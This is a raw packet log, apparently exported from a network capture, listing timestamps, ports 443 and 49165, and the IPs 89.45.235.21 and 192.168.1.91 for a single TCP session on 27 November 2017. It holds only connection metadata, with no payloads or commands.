Nov 27, 2017 12:34:37.666696072 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.666717052 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.666821957 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.666856050 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.667300940 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.667320967 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.667419910 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.667450905 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.668072939 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.668095112 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.668210983 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.668241024 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.669169903 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.669190884 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.669203997 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.669359922 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.669389963 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.670366049 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.671588898 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.671638012 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.671648026 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.671717882 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.671724081 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.671736002 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.671753883 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.672518015 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.672542095 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.673954964 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.673980951 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.673999071 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.675849915 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.675888062 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.677606106 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.677644968 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.688417912 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.688457012 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.688483000 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.688556910 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.688590050 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.688632965 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.688657045 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.688956976 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.688986063 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.705626965 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.705670118 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.705777884 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.705810070 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.705826044 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.705843925 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.705868959 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.706161022 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.717508078 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.717546940 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.717561960 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.717663050 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.732637882 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.732681990 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.732701063 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.732810974 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.747992992 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.748023987 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.748034954 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.748150110 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.766997099 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.767024040 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.767194033 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.774244070 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.774271965 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.774626970 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.796566963 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.796597958 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.796611071 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.799911976 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.828039885 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.828062057 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.828072071 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.828505993 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.828519106 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.830739975 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.830766916 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.831449986 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.831454992 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.831677914 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.831710100 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.860105038 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.860143900 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.860347986 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.860388994 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.866724014 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.866754055 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.866873980 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.866915941 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.895466089 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.895497084 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.895746946 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.895792961 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.925928116 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.925960064 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.926207066 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.926265955 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.927865028 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.928020954 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.928054094 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.935004950 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.935034037 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.935194969 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.935220003 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.952908039 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.952936888 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.953207016 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.953265905 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.975208998 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.975236893 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.975500107 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.975558043 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.067526102 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.067562103 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.067744970 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.067799091 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.108103991 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.108151913 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.108192921 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.108422041 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.108448029 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.115706921 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.115745068 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.116034985 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.116071939 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.138660908 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.138695955 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.138881922 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.138917923 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.154414892 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.154450893 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.154597044 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.154639959 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.175734997 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.175750017 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.175767899 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.176280022 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.176306009 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.176604986 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.176635981 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.176992893 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.177021027 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.193535089 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.193691969 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.193710089 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.193829060 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.193866968 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.194340944 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.206012964 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.206036091 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.206043959 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.206398964 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.212234974 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.212265968 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.212286949 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.212511063 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.213531017 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.213555098 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.213567972 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.213738918 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.220841885 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.228297949 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.228319883 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.228423119 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.228463888 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.235997915 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.236022949 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.239798069 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.239844084 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.247819901 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.248027086 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.248054981 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.249403954 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.249419928 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.251738071 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.251769066 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.279247046 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.279273033 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.279459000 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.279489994 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.286432028 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.286456108 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.286992073 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.287019014 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.297250986 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.297282934 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.297451973 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.297483921 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.304064989 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.315721035 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.315746069 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.315759897 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.315881968 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.342011929 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.342040062 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.342072964 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.342202902 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.551621914 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.551872015 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.610950947 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.610984087 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.611016989 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.611274004 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.618196964 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.629744053 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.629776955 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.630037069 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.630076885 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.645083904 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.645128965 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.645147085 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.645167112 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.645181894 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.645378113 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.645416021 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.652951956 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.652968884 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.653187037 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.653219938 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.656450987 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.656467915 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.656589985 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.656610966 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.666042089 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.666066885 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.666078091 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.666290998 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.666313887 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.668448925 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.668474913 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.668551922 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.668580055 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.671329021 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.671356916 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.671463013 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.671488047 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.676328897 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.676359892 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.676489115 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.676513910 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.678402901 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.678430080 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.678441048 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.678576946 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.678602934 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.686878920 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.686894894 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.686953068 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.686968088 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.686974049 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.687069893 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.687098980 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.691410065 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.691567898 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.691595078 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.693020105 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.693041086 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.693219900 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.693244934 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.694608927 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.694627047 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.694777012 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.694802046 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.696803093 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.696831942 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.696903944 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.696926117 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.703538895 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.703567982 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.703814983 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.703823090 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.703855038 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.703866005 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.703886032 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.703979969 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.711174011 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.717179060 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.717210054 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.717355967 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.717376947 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.722883940 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.722913980 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.723098993 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.723136902 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.729995012 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.730022907 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.730179071 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.730215073 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.749967098 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.749994993 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.750272989 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.750325918 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.767589092 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.767666101 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.767680883 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.767851114 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.767879009 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.768695116 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.768723965 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.768826008 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.768846989 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.788393974 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.788412094 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.788670063 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.788697958 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.792563915 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.792577028 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.792747974 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.792773008 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.799120903 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.799313068 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.799339056 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.800189018 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.800214052 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.800313950 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.800337076 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.807830095 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.807874918 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.808115959 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.808144093 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.817224979 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.817267895 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.817583084 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.817610025 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.817770004 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.817799091 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.818087101 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.818108082 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.829068899 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.829091072 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.829108953 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.829262018 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.829284906 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.832411051 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.832433939 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:38.832638979 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:38.832663059 CET	443	49165	89.45.235.21	192.168.1.91
